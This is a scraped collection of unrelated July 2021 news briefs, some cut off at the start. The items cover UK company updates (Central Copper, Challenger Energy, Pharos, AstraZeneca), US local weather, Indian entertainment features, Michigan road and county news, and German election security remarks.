The proceeds of the initial public offering will be used to invest in production at its Congolese Mbamba Kilenda copper project and into exploration at both its Titan project in the DRC and Lunga project in Zambia.

"Our admission to AIM and proposed equity raise will enable Central Copper Resources to become a mid-tier copper company by advancing our flagship, high-grade Mbamba Kilenda copper project through the pre-feasibility study towards production in the near term," explained Chief Executive Kevin van Wouw.

"We believe that we are listing on AIM at a good time in the project life cycles of the portfolio and given the recent performance of the copper price."

No details around timing or pricing of the potential listing were provided, although the company said it was "finalising the necessary documentation and final procedures for admission".

By Will Paige; willpaige@alliancenews.com

Copyright 2021 Alliance News Limited. All Rights Reserved.
Challenger Energy Group PLC - Caribbean and Atlantic margin focused oil & gas company - Says logging of the Saffron-2 well in Trinidad has been completed and confirmed 300 feet of net oil bearing reservoir sands. Says well completion activities are underway and production testing of the well is on track to commence on or around July 23.

Says logging measured over 1,400 feet of gross reservoir sands across the Upper, Middle and Lower Cruse formations. In the Lower Cruse, the primary reservoir of interest, the well encountered 63 feet of net oil-bearing reservoir sands and a further 70 feet is potential is also indicated. The well, in the South-West Peninsula of Trinidad is a twin of the Saffron-1 well, and encountered similar Upper, Middle and Lower Cruse reservoirs to Saffron-1. The expectation (based upon the Saffron-1 discovery well) is of production rates in the range of 200 to 300 barrels of oil per day.

Challenger Energy also enters term sheet for convertible loan note funding of up to USD17.5 million with Arena Investors LP.

Chief Executive Officer Eytan Uliel says: "In terms of funding, known production capacity translates to de-risked cashflow potential that can sustain less dilutive sources of capital. In this regard, we are pleased to have taken the first tangible steps, by entering into a term sheet with a leading provider of debt and hybrid-debt capital to energy companies.

"We are working to conclude a funding on mutually acceptable terms, with a view to having capital available once we have production data from the Saffron-2 well and have been able to assess development options and schedule for a broader Saffron development. I look forward to updating shareholders of our progress."

Current stock price: 2.30 pence

Year-to-date change: down 15%

By Arvind Bhunjun; arvindbhunjun@alliancenews.com

Copyright 2021 Alliance News Limited. All Rights Reserved.
(Alliance News) - Pharos Energy PLC on Wednesday reported a drop in production over the first half of 2021 as the oil company's operations in Egypt dragged due to well maintenance issues, though it remains upbeat looking ahead.

Pharos shares were down 2.8% to 25.47 pence each in London on Wednesday morning.

The oil & gas exploration and production firm said group working interest in the first half 2021 came in at 9,147 barrels of oil equivalent per day net.

This is down 32% from 12,093 boepd last year and a touch lower than the firm's annual guidance, which remains unchanged, at between 9,200 boepd and 10,600 boepd.

Chief Executive Ed Story said: "I am pleased to be able to report a period of progress for the group. In Vietnam, we are about to embark on a major development drilling campaign at TGT which will look to increase production by up to 40% and also begin acquiring 3D seismic in Block 125, which has the potential to show some game-changing prospectivity offshore in the Phu Khanh Basin.

"In Egypt, work on our farm-out, which will provide the investment for future development, is progressing well with all major drilling activity in the meantime having been put in abeyance until the process has been concluded."

Segmentally, Vietnam production was down 11% to 5,429 boepd from 6,114 boepd, while production in Egypt sunk 61% to 3,718 barrels of oil per day from 5,979 barrels.

In Egypt, production levels were hurt by well maintenance issues in the first half and plans are in place to accelerate production enhancement in the second half of the year, Pharos said.

Pharos expects to book revenue of around USD73 million, before hedging loss of approximately USD14 million. Last year, Pharos posted an interim revenue of USD80.1 million.

Looking ahead, Pharos said: "Our producing assets remain significantly geared to the recovery in the oil price. In Vietnam, we already benefit from attractive break-even oil prices; and in Egypt, the improvement in the fiscal terms through the ratification of the Third Amendment will enhance cash generation."

The Third Amendment agreement relates to the company's El Fayum operation in Egypt and includes the fiscal cost recovery change and the licence term extension. The amendment has been submitted to Egypt's parliamentary energy committee and will be ratified later this year, with the earliest being in September.

Results for the half are due on September 15.

By Greg Roxburgh; gregroxburgh@alliancenews.com

Copyright 2021 Alliance News Limited. All Rights Reserved.
(Alliance News) - Drugmaker AstraZeneca PLC on Wednesday said a UK watchdog approved its acquisition of Alexion Pharmaceuticals Inc.

The Cambridge, England-based company said the UK Competition & Markets Authority has cleared the takeover of Boston, Massachusetts-based biotech firm Alexion.

Astra's acquisition of Alexion is expected to close on July 21.

The move follows clearance received from the European Commission on Tuesday last week, and approvals in the US, Japan and other countries.

Astra Chief Financial Officer Marc Dunoyer said: "We are very pleased to have secured this critical final clearance from the UK Competition & Markets Authority for the acquisition of Alexion. We look forward to the imminent closing of the transaction so that we may pursue our shared ambition to bring more innovative medicines to patients worldwide and begin AstraZeneca's next chapter of growth."

The FTSE 100-listed firm announced plans to buy Alexion in a cash-and-stock deal, worth around USD39 billion, in December 2020.

Astra said it expects to issue consolidated financial reporting for the new combined entity in the third quarter of 2021, with results due November 10.

After the acquisition is complete, a new group focusing on rare diseases will be created named Alexion, AstraZeneca Rare Disease, and will be headquartered in Boston.

The deal would "enhance the company's scientific presence in immunology", Astra noted. Adding that of 7,000 known rare diseases, only 5% have US-approved treatments.

"Demand in medicines for rare diseases is forecasted to grow by a low double-digit percentage in the future," Astra said.

Shares in AstraZeneca were trading down 0.6% at 8,705.00 pence each in London on Wednesday morning.

By Scarlett Butler; scarlettbutler@alliancenews.com

Copyright 2021 Alliance News Limited. All Rights Reserved.
Jefferson, GA (30549)

Today

Scattered thunderstorms in the morning becoming more widespread in the afternoon. High around 80F. Winds light and variable. Chance of rain 70%..

Tonight

Thunderstorms in the evening, overcast overnight with occasional rain. Low 69F. Winds light and variable. Chance of rain 80%.
Melia has informed the Balearic Government of thousands of euros worth of damage allegedly carried out by students in quarantine at the Bellver Hotel in Palma.

The repairs list includes painting the walls of two rooms and 22 terraces, which are marked by shoe prints, the replacement of a bedside table and a bathroom screen, a partition, a mirror and a coffee table and the repair of three cracked doors.

A report detailing the damages and including photographs, estimates that the repairs will cost around 1,820 euros.

The Councillor for the Presidency of the Executive, Mercedes Garrido, outlined the damages in Parliament on Tuesday.

Several hundred students from all over Spain were quarantined at the Bellver Hotel after a massive coronavirus outbreak, which affected more than 4,000 people nationwide and forced more than 8,000 to self-isolate.

The court overturned the confinement of the students, ruling that the Government had not proven that they had been in close contact with positive cases.

The students were unable to confirm whom they had been in touch with, so the Health Alerts and Emergencies Coordination Centre determined that all of them should be considered a close contact.

The concerts in the bullring in Palma were also considered a source of contagion, due to a severe lack of self isolation at the event.

The Government still believes it acted correctly in quarantining the students.
The Balearic Islands are being added to the UKs Amber list from Monday at 04:00, which means travellers returning to England will have to quarantine at home from next week, unless theyve had both Covid vaccines.

The news is a huge blow to younger holidaymakers who probably havent had both jabs.

Bulgaria and Hong Kong are moving to the Green list; Croatia and Taiwan join the Green watchlist and are at risk of being moved to Amber.

The British Virgin Islands are moving to the Amber list.

Cuba, Indonesia, Myanmar and Sierra Leone have been added to the UKs Red list which means anyone travelling from there will have to quarantine in a hotel when they return to Britain.
Manchester Center, VT (05254)

Today

Rain showers early with some sunshine later in the day. High near 75F. Winds light and variable. Chance of rain 60%..

Tonight

Clear skies with a few passing clouds. Low 61F. Winds light and variable.
Manchester, TN (37355)

Today

Thunderstorms early, then variable clouds overnight with still a chance of showers. Low 68F. Winds light and variable. Chance of rain 60%..

Tonight

Thunderstorms early, then variable clouds overnight with still a chance of showers. Low 68F. Winds light and variable. Chance of rain 60%.
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ONEKAMA  The Portage Lake Association will present the third Monday Night Concert in the Park next week.

Zydeco brings on the good times with the Benzie Playboys, whose Cajun-seasoned tunes will "have you clapping and dancing the night away."
The Survivors of Mankato Instagram account was created as a way for survivors of interpersonal violence to share their stories anonymously in their own words. Natalie Turkowski and Molly Nhean made the account, which isn't affiliated with Minnesota State University but is meant to be another resource for survivors.
Jul. 13The special election for Georgia House District 34 will be decided in a Tuesday runoff that pits Democrat Priscilla Smith against Republican Devan Seabaugh. Polls open at 7 a.m. and close at 7 p.m. The district contains parts of Marietta and Kennesaw. To find out if you live in the district and to find your polling place, visit the Georgia My Voter Page at mvp.sos.ga.gov. The first ...
Atlanta, GA (30303)

Today

Scattered thunderstorms in the morning becoming more widespread in the afternoon. High 78F. Winds light and variable. Chance of rain 80%..

Tonight

Showers and thundershowers during the evening will give way to steady rain overnight. Low 69F. Winds light and variable. Chance of rain 80%.
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Roswell, GA (30075)

Today

Showers and thunderstorms. High near 80F. Winds light and variable. Chance of rain 80%..

Tonight

Showers and thundershowers during the evening will give way to steady rain overnight. Low 68F. Winds light and variable. Chance of rain 80%.
Atlanta, GA (30303)

Today

Scattered thunderstorms in the morning, then mainly cloudy during the afternoon with thunderstorms likely. High 78F. Winds light and variable. Chance of rain 80%..

Tonight

Showers and thundershowers in the evening, then overcast overnight with occasional rain. Low 68F. Winds light and variable. Chance of rain 80%.
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There will be a memorial service held on July 24, 2021 at 10:30 A.M. for Doris (Stainbrook) Bradshaw at Asbury United Methodist Church in Erie. A luncheon in the fellowship hall will follow the service.
Influenza vaccine can give protection against severe effects of COVID-19.

The two groups were matched for factors that may affect their COVID-19 severity like age, gender, ethnicity, smoking and health problems such as diabetes, obesity and chronic obstructive pulmonary disease.The first group members received the flu vaccine between two weeks and six months before being diagnosed with COVID-19. Those in the second group also had COVID-19 but were not vaccinated against flu.Later they compared the incidence of 15 adverse outcomes between the two groups within 120 days of testing positive for COVID-19.. Whereas the death risk is not reduced.How exactly the flu vaccine provides protection against COVID-19 is not known but most theories say that they boost the innate immune system - a general defense that are not tailored to any particular illness.More research is needed to prove and better understand the possible link but in the future the flu shot can help to provide increased protection in countries where the COVID-19 vaccine is in short supply.Despite of all these findings, the influenza vaccine is not a replacement for the COVID-19 vaccine and we advise everyone to receive their COVID-19 vaccine as soon as possible.Source: Medindia
Both Veillonella atypica and Veillonella montpellierensis infections resulted in consumption of lactate, a key metabolite linked to gynecologic and reproductive health.

"Bacterial vaginosis is an enigma," said Dr. Herbst-Kralovetz, who is also director of the Women's Health Research Program. "We know many factors contribute to this disease, but little is known about the functional impact of the major players and how they're changing the local landscape."The paper,published in the journal npj Biofilms and Microbiomes, found that Veillonellaceae family members contribute to disease by altering inflammation and metabolism in the cervicovaginal region.The female reproductive tract is typically colonized by bacteria that promote health, such as Lactobacillus. While these bacteria are considered friendly, an imbalance can lead to the creation of a biofilm - a consortium of many different harmful microbes - that promotes disease.Last year, Dr. Herbst-Kralovetz and colleagues described a hypothetical model in which the interactions between microbes and human cells alter the vaginal microenvironment and ultimately influence the balance between health and disease. This study is the first to define a definitive role for this bacterial family in bacterial vaginosis.Using a 3D human model, Dr. Herbst-Kralovetz's group evaluated the effects of three bacterium - Veillonella atypica, Veillonella montpellierensis, and Megasphaera micronuciformis - on the cervical microenvironment.They found that two species - V. atypica and V. montpellierensis - decreased lactate, an acid typically produced by beneficial bacteria that provides protection from harmful infections. These two species also increased substances that play a role in bacterial vaginosis-associated vaginal odor.They also found that M. micronuciformis further drives disease progression by increasing inflammation and promoting cell death through the production of certain fat molecules.Insights from this study lay the foundation for polymicrobial, or "multi-bug" studies, which can determine the complex interaction effects of multiple bacterial species on female reproductive health.<>"Using this study and our 3D model as a foundation, we hope to determine if and how other species are altering the environment to contribute to bacterial vaginosis," Dr. Herbst-Kralovetz said.Ultimately, Dr. Herbst-Kralovetz says this study and others like it can help to inform treatment and intervention strategies.she said.Source: Eurekalert
For a long time Bollywood had been suffering from a particular kind of colour blindness. Somehow, everywhere youd look youd only see fair, white skinned faces playing leading roles. Almost as if it was a prerequisite to becoming a star in this cutthroat industry.

In recent years though, Bollywood seems to have slowly woken up to the diversity available in our vast country. The same diversity that had long been appreciated in Hollywood and other international film industries.

Here are seven actors whove made their mark on an industry thats still hesitant about dark skin representation:

Vicky Kaushal

Hes come a long way from playing the deeply grounded Deepak in Masaan. Vicky has experienced a stratospheric rise in the industry in recent years and has become a reliable name in the industry. His brooding good looks have also won him admiration from his fans and finds his name held at the same standard as the top brass of Bollywood.

Dhanush

Tamil superstar Dhanush needs no introduction. Hes a force to be reckoned with and stands shoulder to shoulder with the giants of cinema. Dhanush is able to completely mould himself into the character he essays. His versatility has given us hits like Asuran and Vada Chennai.

Nawazuddin Siddiqui

Few actors have experienced struggle and discrimination the way Nawazuddin has. However, his talent has shone through brightly. Whether it be as the maniacal Gaitonde in Sacred Games or as the famed author Manto, Nawazuddin Siddiqui is a bonafide tour de force in Bollywood now.

Ajay Devgn

At a time when the fairer Khans were omnipresent in Bollywood films, Ajay Devgn was making a name for himself as the gritty action star with a sensitive side. Safe to say, today, he's put on the same pedestal by his fans as the Khans. You can spot him in action in his upcoming film, Bhuj.

Suniel Shetty

Ageing like fine wine, Suniel Shetty looks better today than he ever did. Even though he might not be as visible on screen as he once was, he's still got fans swooning and crooning on social media over his age-defying good looks.

Kunal Nayyar

The lad from The Big Bang Theory may have played the socially awkward Raj, but hes a real lady killer in real life. Hes married to former Miss India Neha Kapur.

Sendhil Ramamurthy

Hes gorgeously played pivotal characters in several popular American TV series like Heroes, Greys Anatomy and the recent Netflix series Never Have I Ever. His devilishly handsome looks have earned him a devoted fan base across the globe.

Their journeys might not have been easy but were glad these handsome Indian actors have come out on top of their craft and are finally getting the admiration they deserve.
If youre driving around in a super swanky and super expensive Rolls Royce, and youre a widely popular public figure, getting called out by a High Court Judge is the last thing you want to deal with.



 Twitter/actorvijay

Unfortunately for Vijay Chandrasekhar, also known as Thalapthy Vijay by his ardent fans, that is exactly what has happened.



 Twitter/actorvijay

Back in 2012, Thalapathy Vijay bought and imported a Rolls Royce that was worth Rs 5 Crores back then. Along with the usual import duties and customs, customers usually have to pay an entry tax when they get their cars imported.



 Twitter/actorvijay

Vijay had filed a petition under the name C Joseph Vijay challenging the demand for payment of the entry tax by transport authorities to register his imported car, even after paying duty to the customs department.



 Twitter/actorvijay

The judge had a number of issues. Firstly, as per the judge, Vijay hadnt mentioned his profession in the affidavit that he had filed. It was only after his lawyer was asked about his client did the judge get to know that it was indeed Vijay the actor with whom he was dealing.



The Madras High Court blasted Vijays counsel at that point, stating that his client was going against statutes despite being a reputed actor whom fans often see as real hero. He then ordered Vijay to pay the entry tax as demanded by the authorities and further imposed a fine of Rs 1 Lakh on the actor.

 Twitter/actorvijay

The judge then went on to say that what Vijay was trying to do amounts to tax evasion and that such activities are anti-nationalistic in nature, and that as an actor who has a massive fan following, he should be setting a better example.



The High Court judge went on to say, These actors portray themselves as champions of social justice, but evade tax and act in a manner that is not in consonance with provisions of the statutes. He further added, The constitutional goal of social justice can be achieved only if people of such stature pay taxes punctually and act as real heroes in their life. Accumulation of wealth or possessing a prestigious car would not be of any assistance for a better life.

 Twitter/actorvijay

The judge ended his remarks by stating, A person paying tax punctually and promptly is to be considered a real hero.



Vijays team in the meanwhile has claimed that since the actor is busy with a shoot, he hasnt been able to go through the court order, and hence wont be able to comment on the issue.
Breakups suck. Sometimes even if we want to have a healthy outlook towards it, its difficult. The feeling when a person precious to us becomes a stranger hits us hard. While wed like to go through a series of emotions to adequately process the event, were unable to.

Why?

Because society in general has come to look at men as creatures that never get hurt. After all, Mard Ko Dard Nahi Hota Na?

Here are a few ways heartbreaks affect us as were expected to stay quiet and deal with it:

Isolation

We take heartbreaks personally. And why wouldnt we since the only person we opened up to doesnt exist in our lives anymore, leaving us alone and hurting. Even though we have friends and family to share feelings with, its not the same as your ex. No one knows you as well as they did. Choosing instead to wallow by ourselves in the hopes that the feelings would run their course.

 iStock

Numbness to Anger

Because were expected to be stoic and emotionless freaks, we resort to numbing all our emotions. Does it do any good? Not in the long run, no. I realized that the longer I numbed myself, the angrier I was coming out of the entire experience. Unfortunately, this anger spills over into other aspects of our lives, and over time we don't even realize how it becomes a crutch for us.

 iStock

Just Get Over It?

Emotions? What are emotions? As men, how dare we wallow and feel shitty about a breakup? Society has some utterly trash expectations from men, and this one is definitely up there with the rest. We need to be given space to process our honest feelings because most of the time we dont even know how were feeling.

 iStock

Blocked And Deleted

Everything reminds us of them and were constantly triggered by thoughts of them. Back in the day we could just delete their number and let time fade away their memories. Now? Even after having broken up, our social media algorithms refuse to cooperate, pushing our exs content down our throats. The only way we see us not going absolutely bonkers is by burning all bridges.

 iStock

Freeze Crying

While reeling from a bad breakup, we tend to hide all our emotions, trying to put up a brave front for everyone. However, in those moments when were alone and truly by ourselves, we find ourselves shedding tears without even realizing it - a few frozen moments of grief and sorrow, before we go back to the regularly scheduled numbness. Later in life I realized that this was happening due to a certain emotional lag we develop.

 iStock

Letting go of people who mean a lot to us can be one of the most frustrating and confusing experiences in our lives. But why are our emotions given the step motherly treatment? Twadda Kutta Tommy? Sadda Kutta Kutta?


If you were a fan of the ancient Indian epic Ramayana, you'd be familiar with how the Hindu god, Ram, who was also the exiled prince of Ayodhya, used the help of Hanuman to rescue his wife Sita by defeating Ravan, in an ultimate battle.

 Doordarshan

Well, you'd also remember that Ravan, the King of Lanka, also had a brother called Kumbhkaran, who fascinated us equally. The saying was that Kumbhkaran would sleep for as long as six months because of a curse on him.



During the war between Ram and Ravan, Kumbhkaran was awakened with great difficulty as he only ended up waking up after a thousand elephants walked on top of him. Imagine waking someone up who sleeps like that? Hard, right?

Well, there is indeed a real-life Kumbhkaran who resides in Rajasthan and goes by the name of Purkharam. (kind of rhymes, don't you think?) The 42-year-old man from Rajasthan's Nagaur city is apparently even more difficult to wake up than Kumbhkaran, as Purkharam actually sleeps for 300 days in a year.

 Times Now

Now, while it is obviously fascinating to find someone who sleeps like that, the fact is that Purkharam, unfortunately, suffers from a rare disorder which is known as Axis hypersomnia. With normal people usually needing just six to eight hours of sleep a day, Purkharam ends up sleeping 25 days at a stretch due to the rare disorder which he was diagnosed with around 23 years ago.



In the initial days of the condition, he would end up sleeping excessively, around 15 hours a day, after which his family got worried and sought medical help. However, his condition worsened as years went by, and his sleeping duration increased from several hours to several days in a month.

Now, his symptoms are far worse than anyone could have imagined as he sleeps for 20 to 25 days at a stretch.

Purkharam, who operates a local shop, is unfortunately able to work for only five days a month, as it becomes very difficult to wake him up when he sleeps. As a result, his family has to feed him and bathe him while he is still asleep most of the time.

The condition is clearly no joke, as despite receiving treatment and due to the excess sleep, he feels fatigued most of the time and often complains that his productivity is almost close to nil.

As per reports, he also complains of severe headaches amongst some of the symptoms of his rare condition. His family, of course, wants him to recover from it so that one day he can lead a normal life like everyone else and be rid of this awful sleeping curse.
Elon Musk bought a ticket to space from fellow Billionaire Richard Bransons Virgin Galactic according to a statement provided by the company to The Wall Street Journal. Musk had reportedly bought the ticket before Bransons flight to space on Sunday and its unclear whether Musk is one of the 600 other prospective SpaceShipTwo passengers.

 Twitter/Richard-Branson

However, the ticket bought by Musk may just be an extension of his friendship with Branson which can also be seen as a friendly endorsement of Virgin Galactics rocket-powered plane. Branson flew to space on Sunday on Virgin Galactics Unity 22 vehicle. Branson and three other employees floated around the vehicles cabin in microgravity before landing back a few minutes later.



On the other hand, Elon Musks SpaceX has mostly been focused on securing Government contracts to ferry cargo, astronauts and satellites into space. The company will also carry out its first private astronaut mission later this year in September. SpaceXs fusion will be a longer trip into orbit and far more expensive than Blue Origin and Virgin Galactics space trips.

 Virgin Galactic

It is worth pointing out that Musk saw the Virgin Galactic takeoff in person from Spaceport America on Sunday. Thanks for being so typically supportive and such a good friend, Elon, Branson tweeted before the flight. Branson also spent his morning with Musk before liftoff. Great to start the morning with a friend, he said in another tweet. Feeling good, feeling excited, feeling ready.



SpaceShipTwo will be Virgin Galactics premier rocket plane that will be at the centre of the companys space tourism business. The vehicle is said to have six seats that roughly sell for $350K each. So far, the company has booked over 600 passengers that includes celebrities like Leonardo DiCaprio, Justin Bieber amongst others.

 Reuters

Bezos Blue Origin will also be aiming to launch customers into space albeit at a slightly higher altitude. Bezos is all set to launch into space later this month on July 20th on the companys New Shepard rocket. Bezos is also reportedly expected to go to a higher altitude than Richard Branson.



Source: The Wall Street Journal
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In summer 2020, The New York Times coordinated a nationwide project to document the lives of Americans out of work because of the COVID-19 pandemic. The study involved collaborating with 11 other local newsrooms around the U.S. The Messenger-Inquirer was the only newspaper from Kentucky in the collaboration. The resulting collection of stories was published Oct. 23, 2020, in the New York Times print edition and at nytimes.com/outofwork. The following list is the Messenger-Inquirer's local unemployment coverage from that time period; read more by clicking the "New York Times Project" header. Click on "Out Of Work In America" to go to the full
He said car producers have consistently been the main innovators among the main manufacturers using steel products.



Major automotive producers such as Mercedes have vowed to be carbon-neutral by... 2037-2050, Singh said during an international panel discussion focusing on the opportunities and challenges for the global steel industry. You will not be able to find any automotive producers that do not use green steel, he added.



Mercedes, for instance, announced in late May that is was re-tooling its supply chain to focus on the prevention and reduction of carbon dioxide emissions by taking an equity stake in Swedish start-up H2 Green Steel (H2GS).



H2GS will use hydrogen and electricity from 100% renewable energy sources instead of coking coal, with the hydrogen binding the oxygen from the iron ore during the steelmaking process to produce water as a by-product, rather than carbon dioxide.



But Singh also made the point that steel makes up a relatively small proportion of the total cost of producing a vehicle, especially in electric vehicles where the drive components are typically more costly than in traditional internal-combustion engine (ICE) vehicles.



This is why the ability of automotive producers to absorb the increase in steel prices is not difficult, he said.



In contrast, he said the construction sector will lag behind slightly in taking up green steel, especially for cement-based construction, so governments should also look at decarbonization in sand mining and cement production.



Key role for scrap

And Singh said that ferrous scrap will have a major role to play because there was an increasing awareness among steelmakers globally about decarbonization.



This was especially true in China and India, he said, where the primary production route is still based on blast furnaces - unlike in the United States and Europe, which are more scrap-based.



There is a major shift happening globally [and] the future of the steel industry will be driven by decarbonization, especially as the steel industry has increased its share of the production of greenhouse gases to 9% from 7.5%, Singh said.



About 750 million tonnes of scrap is generated globally every year. This is expected to reach 1 billion tonnes by 2030 and 1.3 billion tonnes by 2050, which will [feed] a substantial amount of [steel] production, he added.



Singh also said that legislation will be a key factor when it comes to curtailing the production of greenhouse gases.



And he highlighted the fact that difficulties in decarbonizing steel production via the blast furnace or direct-reduced iron (DRI) routes would see scrap become the go-to material for decarbonization



There will be a huge appetite for scrap, he said.



But he acknowledged that a shift toward hydrogen-based DRI production for steelmaking will also result in a huge increase in costs.



The cost of producing the DRI will probably jump to $300-400 per tonne, which will have an impact on overall steelmaking. So unless there is a conscious decision by governments to increase overall carbon taxation, so that there is headroom to absorb the cost increases, we will all be playing a bit of a waiting game, Singh added.
Miami, FL (33127)

Today

Sunshine and clouds mixed. A stray shower or thunderstorm is possible. High 89F. Winds ESE at 10 to 15 mph..

Tonight

Partial cloudiness early, with scattered showers and thunderstorms later during the night. Low 79F. Winds ESE at 5 to 10 mph. Chance of rain 50%.
Miami, FL (33127)

Today

Sunshine and clouds mixed. A stray shower or thunderstorm is possible. High 88F. Winds ESE at 10 to 15 mph..

Tonight

Variable clouds with thunderstorms, especially overnight. Low 79F. Winds ESE at 5 to 10 mph. Chance of rain 50%.
MDOT opens one lane on I-75 at Big Beaver Road in Troy following tanker crash and fire

MDOT opens one lane on I-75 at Big Beaver Road in Troy following tanker crash and fire

Rob Morosi, MDOT Office of Communications, 248-483-5107 Transportation

Fast facts:

- Both directions of I-75 were closed at Big Beaver Road in Troy due to a tanker crash on July 12.

- The tanker crash resulted in significant damage to the freeway pavement and barrier wall.

- The right lane of southbound I-75 has reopened, a single-lane northbound is expected to open on Wednesday.

July 13, 2021 -- The Michigan Department of Transportation (MDOT) announced that the right lane of southbound I-75 has opened at Big Beaver Road in the city of Troy. All lanes of the freeway have been closed due to a tanker crash that occurred Monday, July 12.

The reopening of the right lane will allow traffic to move on the freeway while crews rebuild the damaged center and left lanes, along with the barrier wall that separates both directions of traffic. In order to minimize expected delays, the entrance ramps to southbound I-75 will remain closed at Crooks and Big Beaver roads until the repair work is completed.

On northbound I-75, crews will reopen the right lane during the afternoon hours on Wednesday, July 14. This will allow for the rebuilding of the center and left lanes that were also significantly damaged during the crash. To minimize expected delays, crews will keep the entrance ramps at 14 Mile and Rochester roads closed during repairs.

Once the repairs to the left and center lanes are complete, crews will then begin rebuilding the right lanes in each direction.

Follow I-75 modernization progress on the web at www.Modernize75.com, or follow on Facebook at www.facebook.com/Modernize75 or on Twitter at www.twitter.com/Modernize75.
LUDINGTON  Quick-Way, Inc. was presented a special tribute recognition from the state of Michigan for its 30-year business anniversary and the success it has achieved.

State Sen. Curt VanderWall (R-Ludington) and state Rep. Jack OMalley (R-Lake Ann) presented the Ludington-based business with the award recently.

It is an honor to present this special tribute to Bill Dunn and his team at Quick-Way, Inc., said VanderWall in a news release. Its always fun to recognize a community-oriented company that puts safety first for its employees. Bill has dedicated over 30 years of his life to building the family-oriented trucking company and that is definitely worth special recognition.

President and Owner Bill Dunn accepted the award with his wife, Sarah Dunn and daughter, Account Executive Krista Dunn, along with General Manager Melissa Alvarado. Dunn attributes the success and longevity of the company to the support of his family and expressed gratitude for the employees who have been with him since the beginning.

Quick-Way, Inc. is a liquid bulk carrier that is celebrating its 30-year anniversary of serving the Great Lakes and Midwest markets. It employs people in Ludington and Midland, Michigan, Illinois and Indiana, with current openings for its Toledo-based operations.

"Owner William Dunn founded the business on the principles of safety and integrity, and these values continue to drive the company to provide excellent service to its customers and to be an employer of choice for its drivers and staff," according to a news release.
BERLIN (AP)  German authorities see an interest on some countries' part in influencing Germany's national election in September, but so far such activities are at a low level, the domestic intelligence chief said Wednesday.

Germany will elect a new parliament in a Sept. 26 vote that will determine who succeeds Chancellor Angela Merkel. She is not seeking another term after nearly 16 years in charge.

Thomas Haldenwang, the head of the BfV domestic intelligence agency, said there have been varied efforts to exert influence by other countries in previous German elections and we definitely see the interest of certain states in exerting influence on this year's parliamentary election  there are indications of this. He didn't identify those countries.

He told reporters in Berlin that the intensity of these measures is still at a low level at the moment but authorities have observed hacking attempts that could be preparations to leak real or fake material at a later point.

Haldenwang said that, since February, his agency has seen intensive attack activities by a cyber-actor in Germany which likely have an intelligence background, focusing on phishing attempts on the private email accounts of federal and state lawmakers and their staff. But he said that very few of those attempts were successful, and in cases where they were little damage appears to have been caused.

Germany's top security official, meanwhile, said that he doesn't consider the state-controlled Russian television channel RT a hybrid threat.

It's a normal television broadcaster that treats us in an unfriendly way, but every mature citizen can deal with that, Interior Minister Horst Seehofer said. I'm no friend of Russia Today, so that you understand me correctly, but it's propaganda  anyone can see through that.
The path toward getting all Huron County residents connected to high-speed internet looks more straightforward now.

The Huron County Broadband Committee has released its broadband survey findings and recommendations for improving high-speed internet access in the county.

The online survey was available for residents take from December 2020 to mid-February 2021.

The committee collected data from 682 residential households, 34 businesses, and 40 other public organizations to help understand the needs of the county.

For the most part on what the survey uncovered, there were some areas that lacked broadband in the county, not a lot, but a few said Huron County Economic Development Corporation Director Carl Osentoski. Some (responses) were concerned about the quality and cost of service. One of the areas we are interested in are businesses that have minimal or no online presence.

Some of the key findings include:

 92% of Huron County households currently subscribe to a broadband internet service and pay an average of $67 per month.

 Of the 8% of households that do not subscribe to a broadband service, over half of them indicate that broadband is not available at their address.

 On average, Huron County households experience 21% slower download speeds versus other communities (27 Mbps vs. 34 Mbps).

Related Story: EDC hopes to expand Huron County broadband access

While the work was ongoing, $10.8 million of federal broadband funding was allocated to Huron County through the Rural Digital Opportunity Fund. The investment will help deliver speeds between 100 Mbps to 1 Gbps broadband service to more than 3,900 households and businesses in the county over the next six years.

This is thanks to the Biden administration working to create internet access nationwide with speeds of up to 100 Mbps for uploading and downloading, compared to 25 Mbps for downloading and three Mbps uploading for the last three years.

Its a good thing, but challenging, Osentoski said. All kinds of things need to be done.

Atlantic Engineering Group, Thumb Electric Fiber and Mercury Broadband will be the broadband providers and investors in this initiative, with all three receiving FCC funding to help.

The Technology Action Plan developed with Connected Nation Michigan provides guidance for the upcoming work. Some of the recommendations for expanding broadband use include:

 Identify and prioritize specific geographic areas across the county in need of service expansion and improvements.

 Engage with winning RDOF providers to understand their plans and look for opportunities to accelerate/ease/maximize broadband expansion.

 Work with other local broadband providers to assess targeted underserved areas for potential buildout.

 Evaluate and develop additional public-private partnerships to support the deployment of expanded broadband service.

 Identify and pursue opportunities to improve download speeds for the agricultural and local government organizations in the county.

 Promote available low-cost broadband service offering to help address cost issues for vulnerable populations.

Osentoski said the process of fully bringing broadband across Huron County will continue for the next few years as companies roll out different services and the EDC investigates what state and federal grants are available for funding these services.

The committee was announced by the Huron County EDC back in December in collaboration with Connected Nation to assess the internet connectivity needs of the area. Similar committees were formed in Sanilac and Tuscola counties for the same purpose.

Osentoski has sat in on some of Sanilac Countys broadband committee meetings and said they have similar issues as Huron County. That county is looking into working with those same companies to address those issues.

More details about the survey results can be found at http://myconnectedcommunity.org/huron-county-1.
Huron Countys 2020 audit has the county in continued good financial standing despite the pandemic that raged through the area.

Jordan Smith, of Lansing-based public accounting firm Maner Costerisan, provided an unmodified opinion for the audit, which is the best they can give for an audit.

Total revenue for the county was at $16.1 million, down 2% from 2019 mainly due to declining charges for services, even as additional funding from the federal CARES Act and for holding elections came its way.

Under unrestricted net position, the county was at negative $35.9 million, though Smith said that is because of OPEB liabilities and other pension benefits required to pay out to county employees.

Expenditures were at $15.2 million, up 3% from 2019. Some of those items included elections, equalization mapping, public safety, and building repairs for the health department.

The general fund did lose around $390,000 in 2020, but it did experience an increase of $729,000 in 2019.

Intergovernmental funding made up 16% of the general fund revenue for 2020, compared to 12% for 2019. Charges for services decreased to 11% from 16% between 2020 and 2019.

There were three identified nonconformances in the Huron County government that needed corrective action in 2020, compared to eight in 2019. The first was that material journal entries have misstatements in them, with the audit recommending the county ensures that material entries are not necessary for future audits.

The second was that the county does not require any documented review and approval by an independent person for various accounting areas

The final nonconformance was that the Huron County Board of Health had approved its FY 2021 budget in November 2020 after the fiscal year started in September. The audit recommends that all future budgets be approved before the new fiscal year starts, to which the health department has been investigating the delay to ensure it does not happen again.

The Huron County commissioners moved to accept the audit as it was presented at their meeting this week.

In other news, the commissioners provided $2,500 in disaster relief funding to Port Austin Township following the tornado that went through the area on June 26.

Randy Miller, the countys emergency services director, wanted to commend Port Austin and Huron County for rallying together after the tornado.

I cannot say enough about how everyone came together, from where it started as to where it ended up as, Miller said.

He said about 80 firefighters and every EMS service helped out, with DTE restoring power to those without it in half the time he expected. The sheriffs department helped protect the damaged properties and the road commission helped clear the roads.

